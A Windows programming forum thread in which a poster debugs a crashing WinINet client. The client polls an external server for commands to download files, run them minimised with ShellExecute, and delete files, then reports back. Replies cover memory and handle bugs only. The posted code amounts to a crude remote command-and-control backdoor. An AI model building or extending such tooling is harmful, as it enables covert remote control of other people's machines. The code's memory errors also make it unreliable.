HttpSendRequest crashes program

This is a discussion on HttpSendRequest crashes program within the Windows Programming forums, part of the Platform Specific Boards category; Im making a program using wininet that connects to a website and follows commands on the server. But it keeps ...

  1. #1
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    HttpSendRequest crashes program

    Im making a program using wininet that connects to a website and follows commands on the server. But it keeps crashing.

    This code is used in WM_CREATE

    Code:
    hInternet = InternetOpen("XVir 0.02", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
                 if(!hInternet)Append(hEdit, "Error: hInternet\r\n");
                 http = InternetConnect(hInternet, "logonlive.medianewsonline.com", INTERNET_DEFAULT_HTTP_PORT,
                                                   NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
                 if(!http)Append(hEdit, "Error: http\r\n");
    Code:
    LPCSTR Check()
    {
         LPCSTR buff;
         LPCSTR other;
         DWORD count;
         DWORD countr;
         HINTERNET hRequest;
         hRequest = HttpOpenRequest(http, "GET", "/xvir/command.php", NULL, NULL, NULL,
                                              INTERNET_FLAG_RELOAD, 0);
         if(HttpSendRequest(hRequest, NULL, 0, NULL, 0) == FALSE)
         {
            Append(hEdit, "Damnit.");
         } //line fails on 3rd DEL ???
         InternetQueryDataAvailable(hRequest, &count, 0, 0);
         buff = new char[count];
         InternetReadFile(hRequest, (LPVOID)buff, count, &countr);
         return buff;
    }
    
    bool Interpret(LPCSTR buff)
    {
         bool ret = false;
         char* command = (char*)malloc(3);
         char* arg;
         Append(hEdit, (char*)buff); Append(hEdit, "\r\n");
         strncpy(command, buff,3);
         if(strcmp(command,"LLL") != 0)
         {
         Append(hEdit, command); Append(hEdit, "\r\n");
         arg = (char*)malloc(strlen(buff)-4);
         strncpy(arg, buff+4, strlen(buff)-4);
         Append(hEdit, arg); Append(hEdit, "\r\n\r\n");
         }
         
         if(strcmp(command,"MOD") == 0)
         {
            HINTERNET hReq;
            char*    b;
            DWORD count, countr, total;
            hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/modsize.php?mod=",arg),NULL,NULL,NULL,
                                             INTERNET_FLAG_RELOAD, 0);
            HttpSendRequest(hReq, NULL, 0, NULL, 0);
            InternetQueryDataAvailable(hReq, &count, 0, 0);
            char* buff = (char*)malloc(count);
            InternetReadFile(hReq, (LPVOID)buff, count, &countr);
            Append(hEdit, buff); Append(hEdit, "\r\n\r\n");
            int modlen = atoi(buff);
            hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/module.php?mod=",arg),NULL,NULL,NULL,
                                             INTERNET_FLAG_RELOAD, 0);
            HttpSendRequest(hReq, NULL, 0, NULL, 0);
            char* module = (char*)malloc(modlen);
            countr = 1;
            total = 0;
            while(countr > 0 && total < modlen)
            {
                  b = (char*)malloc(modlen+1);
                  InternetReadFile(hReq, (LPVOID)b, modlen, &countr);
                  memcpy(module+total, b, strlen(b));
                  total += countr;
            } 
            Append(hEdit, module);Append(hEdit,"\r\n\r\n");
            FILE *modf;
            modf = fopen(arg, "wb");
            fprintf(modf, module);
            fclose(modf);
            hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
                         strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
            HttpSendRequest(hReq,NULL,0,NULL,0);
            free(b);
         }     
         else if(strcmp(command,"DEL") == 0)
         {
              HINTERNET hReq;
              DeleteFile(arg);
              hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
                         strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
              HttpSendRequest(hReq,NULL,0,NULL,0);
         }
         else if(strcmp(command,"RUN") == 0)
         {
              HINTERNET hReq;
              ShellExecute(NULL, "open", arg, "", NULL, SW_SHOWMINNOACTIVE);
              hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
                         strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
              HttpSendRequest(hReq,NULL,0,NULL,0);
         }
         else if(strcmp(command,"LLL") == 0)
         {
              Append(hEdit, "No Commands");Append(hEdit, "\r\n\r\n");
         }
         free(command);
         free(arg);
         return ret;
    }
    Append appends text to an edit control.

    I call Interpret(Check()) when a menu is clicked.

    Im sending the commands

    MOD mod.txt

    RUN mod.txt

    DEL mod.txt

    On the third command, the program freezes and then crashes. Any ideas what could be causing it?

  2. #2
    Guest Sebastiani's Avatar
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    Waterloo, Texas
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    First of all, don't mix calls of 'new' with 'malloc'. At any rate, you need to allocate at least an extra byte for your character arrays (consider using std::vector, instead) for the null terminator, ie:

    Code:
    int
          length = strlen( buffer );
    char* 
          copy = new char[ length + 1 ];
    copy[ length ] = 0;
    strncpy( copy, buffer, length );
    // stuff
    delete [ ] copy;
    Note that in the above example, 'strncpy' actually terminates the array for you, but you should get in the habit of doing it, anyway.
    Last edited by Sebastiani; 10-11-2008 at 09:06 PM. Reason: code tags
    Code:
    if( numeric_limits< byte >::digits != bits_per_byte )
        error( "program requires bits_per_byte-bit bytes" );
    24bbs.cpp

  3. #3
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    18
    Ok I changed my check function like this

    Code:
    int Check()
    {
         char* buff;
         DWORD count;
         DWORD countr;
         HINTERNET hRequest;
         Append(hEdit, "1");
         hRequest = HttpOpenRequest(http, "GET", "/xvir/command.php", NULL, NULL, NULL,
                                              INTERNET_FLAG_RELOAD, 0);
         Append(hEdit, "2");
         HttpSendRequest(hRequest, NULL, 0, NULL, 0);
         Append(hEdit, "3");
         InternetQueryDataAvailable(hRequest, &count, 0, 0);
         Append(hEdit, "4");
         buff = (char*)malloc(count + 1);
         buff[count] = 0;
         Append(hEdit, "5");
         InternetReadFile(hRequest, (LPVOID)buff, count, &countr);
         Append(hEdit, "6");
         Interpret(buff);
         Append(hEdit, "7");
         free(buff);
         Append(hEdit, "8");
         return 0;
    }
    but i still have the same problem
    it seems to be httpsendrequest because before it crashes, it only gets to 2

  4. #4
    Banned master5001's Avatar
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    Check what it returns. Possibly call GetLastError()...

  5. #5
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    I have tried that. It doesn't seem to return before the program crashes. The program freezes for a while then windows gives that popup "Project1.exe has encountered a problem..."

  6. #6
    and the hat of wrongness Salem's Avatar
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    Is that the whole program?

    Because if there are other areas which call (and abuse) malloc which you haven't posted, then we could all be looking in the wrong place.

    Try in a simple test program. One where it calls the above function, it crashes AND is a complete program we can try.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.
    I support http://www.ukip.org/ as the first necessary step to a free Europe.

  7. #7
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    Code:
    void Append(HWND hedit, char *str)
    {
         int len = GetWindowTextLength(hedit);
         SendMessage(hedit, EM_SETSEL, len, len);
         SendMessage(hedit, EM_REPLACESEL, 0, (LPARAM)str);
         SendMessage(hedit, EM_SCROLLCARET, 0, 0);
    }
    
    char* strcatr(char* str, char* cat)
    {
         char* strret = (char*)malloc(strlen(str)+strlen(cat)+1);
         strcpy(strret,str);
         strcpy(strret+strlen(str),cat);
         return strret;
    }
    The rest of the code just sets up a window and puts an edit control in it. Nothing like mallocs.

  8. #8
    and the hat of wrongness Salem's Avatar
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    Funny, I could have sworn I asked for a simple program calling HttpOpenRequest(), which crashes.

    Not a description of your laundry basket.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.
    I support http://www.ukip.org/ as the first necessary step to a free Europe.

  9. #9
    a_capitalist_story
    Join Date
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    2,639
    Any particular reason you're not checking the return value of HttpOpenRequest() before you attempt to use the returned handle with HttpSendRequest()?

    Also, I notice you're not closing the handle with InternetCloseHandle() when you're done either, so there could be a resource leak.

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